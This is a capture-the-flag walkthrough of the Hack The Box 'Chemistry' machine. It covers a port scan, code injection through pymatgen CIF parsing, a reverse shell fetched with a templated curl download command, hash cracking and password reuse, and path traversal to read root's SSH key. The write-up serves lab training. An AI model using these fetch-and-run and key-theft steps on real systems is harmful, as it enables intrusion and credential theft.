# Chemistry (HTB)

Hello Eveyone WE back again with HTB machine i really enjoy HTB machines recently.

***

## Enumeration.

### Port scan.

```
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCj5eCYeJYXEGT5pQjRRX4cRr4gHoLUb/riyLfCAQMf40a6IO3BMzwyr3OnfkqZDlr6o9tS69YKDE9ZkWk01vsDM/T1k/m1ooeOaTRhx2Yene9paJnck8Stw4yVWtcq6PPYJA3HxkKeKyAnIVuYBvaPNsm+K5+rsafUEc5FtyEGlEG0YRmyk/NepEFU6qz25S3oqLLgh9Ngz4oGeLudpXOhD4gN6aHnXXUHOXJgXdtY9EgNBfd8paWTnjtloAYi4+ccdMfxO7PcDOxt5SQan1siIkFq/uONyV+nldyS3lLOVUCHD7bXuPemHVWqD2/1pJWf+PRAasCXgcUV+Je4fyNnJwec1yRCbY3qtlBbNjHDJ4p5XmnIkoUm7hWXAquebykLUwj7vaJ/V6L19J4NN8HcBsgcrRlPvRjXz0A2VagJYZV+FVhgdURiIM4ZA7DMzv9RgJCU2tNC4EyvCTAe0rAM2wj0vwYPPEiHL+xXHGSvsoZrjYt1tGHDQvy8fto5RQU=
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLzrl552bgToHASFlKHFsDGrkffR/uYDMLjHOoueMB9HeLRFRvZV5ghoTM3Td9LImvcLsqD84b5n90qy3peebL0=
|   256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIELLgwg7A8Kh8AxmiUXeMe9h/wUnfdoruCJbWci81SSB
5000/tcp open  upnp?   syn-ack ttl 63
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Mon, 28 Oct 2024 12:54:13 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Chemistry - Home</title>
|     <link rel="stylesheet" href="/static/styles.css">
|     </head>
|     <body>
|     <div class="container">
|     class="title">Chemistry CIF Analyzer</h1>
|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
|     <div class="buttons">
|     <center><a href="/login" class="btn">Login</a>
|     href="/register" class="btn">Register</a></center>
|     </div>
|     </div>
|     </body>
|   RTSPRequest:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
```

So we have an web page on 5000 which appears to run *python 3.9.5* and SSH. Let's see what we have in the web.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FIfKcfVHY6KgXWaQ3pCcs%2Fimage.png?alt=media&#x26;token=e4752ef7-7b86-4113-91f8-2d5848eeab66" alt=""><figcaption></figcaption></figure>

So we have a login/Register page let's make account and see what it is all about.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FQAw3yZTIq9mnQln98ceg%2Fimage.png?alt=media&#x26;token=954b9765-76eb-4f1b-a827-75d5462b5851" alt=""><figcaption></figcaption></figure>

So we can upload something called CIF what is CIF files ???.

{% hint style="info" %}
CIF files, or Crystallographic Information Files, are standardized text-based files used to store and share crystallographic data, particularly in fields like chemistry, materials science, and structural biology. These files describe the structure and properties of crystalline materials, including atomic positions, symmetry, and unit cell parameters.
{% endhint %}

Okkkkk.

From there it just a matter of googling and you find the answer. :ghost:

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FS2dV3ACO2WyDmpLYT3fR%2Fimage.png?alt=media&#x26;token=db60a506-27fe-45a5-b3bf-ff08c5a6b246" alt=""><figcaption></figcaption></figure>

OK. So the server running python and the exploit is in a python libary so am assuing this is what we looking for.

{% embed url="<https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f>" %}

Navigating to this git repo we can see a POC to test.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FW555Vx0VHbMUvhIgcyMN%2Fimage.png?alt=media&#x26;token=4bcda2ba-87e1-4365-a9ce-3b7460c6cdbb" alt=""><figcaption></figcaption></figure>

So i make it fetch my server to see if it exploiable or not.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2F1Y8kD5IGs1Wctm77aGYe%2Fimage.png?alt=media&#x26;token=4b96f8f3-18b8-4242-a0cc-731f0cedbc8a" alt=""><figcaption></figcaption></figure>

And indded.

## Getting Shell.

So i decide to upload file into the server. which contain reverse shell.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FpyYvS2eQTMLmJS73AJY4%2Fimage.png?alt=media&#x26;token=5c17cd71-789c-496e-992c-21891ff11451" alt=""><figcaption></figcaption></figure>

The file name was bash.sh as in the exploit file but it keep adding this \* so i added it into the file name.

{% hint style="info" %}
The command i used to upload into the server was

curl http\://\<IP>:\<PORT>/\<FILENAME> -o \<FILENAME>
{% endhint %}

And then i added executable permissions and then i ran the file each operation was in its own request. and i got a shell.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2Fa4C3mgaHzEjpd1bT5a4y%2Fimage.png?alt=media&#x26;token=e810002e-2cc8-4c0a-8c2c-89c4f28ca152" alt=""><figcaption></figcaption></figure>

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FK2TounGJc1VWK4bq1glS%2Fimage.png?alt=media&#x26;token=700571e0-a007-41ab-86f6-62add3632443" alt=""><figcaption></figcaption></figure>

## Getting Shell as Rosa (Password Reuse On The Top) .

So to access Rosa's shell. First i look in her home directory since we have read permission. But there was nothing there just an intresting script but was not good. i tried to forward port 8080 but there was nothing. It turns out to be simpler than i think i view the app.py and i find that it uses sqlite db we can find it here.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2Fgwd1Mg8m07wc6ZgRtxJV%2Fimage.png?alt=media&#x26;token=8c49852e-1494-4ed0-8ae1-c60ce18344a4" alt=""><figcaption></figcaption></figure>

I upload this into my machine.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2F4fuJXfvi8GLzKvKrpb0q%2Fimage.png?alt=media&#x26;token=44ed9b49-f4f3-4acd-80a1-745bca6bf516" alt=""><figcaption></figcaption></figure>

So i take that password and i tried to crack it.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FVe7c3jUSJO4GpONraqja%2Fimage.png?alt=media&#x26;token=e941290a-b9ce-4faa-98b5-a3a08648f742" alt=""><figcaption></figcaption></figure>

Using.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FAKyXlTzAWMq8XBhELWiZ%2Fimage.png?alt=media&#x26;token=51512358-d63a-4a1e-ae41-7fc381e31c1c" alt=""><figcaption></figcaption></figure>

After that i created ssh key to make things easier.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FtQK5mb6wRDcO8Gi1KjTC%2Fimage.png?alt=media&#x26;token=a08889e4-eef2-493e-b363-862b4947abaa" alt=""><figcaption></figcaption></figure>

And copy the private key into your machine.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FqFQwR5VrQfGBUI4vulc3%2Fimage.png?alt=media&#x26;token=857c6a5d-69a2-496a-93c8-2c891d2eae58" alt=""><figcaption></figcaption></figure>

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FIrFAwJd6EtDsUcuZKtRJ%2Fimage.png?alt=media&#x26;token=014bff98-fb75-407e-8a31-73457f4a86b3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FtrKNUow97D7EA6vNS8Qh%2Fimage.png?alt=media&#x26;token=495313c6-07bc-4533-8cae-9e974a9d4604" alt=""><figcaption></figcaption></figure>

## Shell as Root.

From here things are simple we see that rosa give us a hint in her exploit.sh and 1.sh we can see that she tries to prefom path traversal afte the endpoint /assets. So i use port forward from SSH.&#x20;

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FInsNgCzae72q7BNIJI27%2Fimage.png?alt=media&#x26;token=378a22b6-60b8-4153-afb1-71bfa1852b3d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2F5Pu8H7ZmcP6ukt6VVfOI%2Fimage.png?alt=media&#x26;token=3a171f3b-5638-4e5c-9f6a-06cfeb5fa1eb" alt=""><figcaption></figcaption></figure>

And i used burpsuit. to check it.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FSJcqFYCYJdcZjRciBcbz%2Fimage.png?alt=media&#x26;token=cf2e22a9-ad52-4bde-8787-e0d74ac6baf1" alt=""><figcaption></figcaption></figure>

From rosa exploit we can see that the root has id\_rsa. so i tried to access it.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FG88tDHtYn0evCr5l7Kra%2Fimage.png?alt=media&#x26;token=6b349e38-00fc-4a3a-8735-1aaad1175a4d" alt=""><figcaption></figcaption></figure>

And we can login as root using this key. and copy the SSH key and change its premissions. and login using it.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FNQZ2Ugf95sKHXXkLEnEu%2Fimage.png?alt=media&#x26;token=043d54e0-4329-494d-9e2e-5fb82300b772" alt=""><figcaption></figcaption></figure>

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2F0K16LvDrDet0iuZKYl2W%2Fimage.png?alt=media&#x26;token=ca63827a-52e6-4c1d-9398-e85c8d5248b3" alt=""><figcaption></figcaption></figure>

## Summary.

The machine was too fun and easy i love it.

<figure><img src="https://616326001-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi149KGmTZ4nvE4TuOMXm%2Fuploads%2FAuPV1jq4JdpXGoaAvlph%2Fimage.png?alt=media&#x26;token=5344d841-8da9-4a10-bb7e-7e497f903ae9" alt=""><figcaption></figcaption></figure>
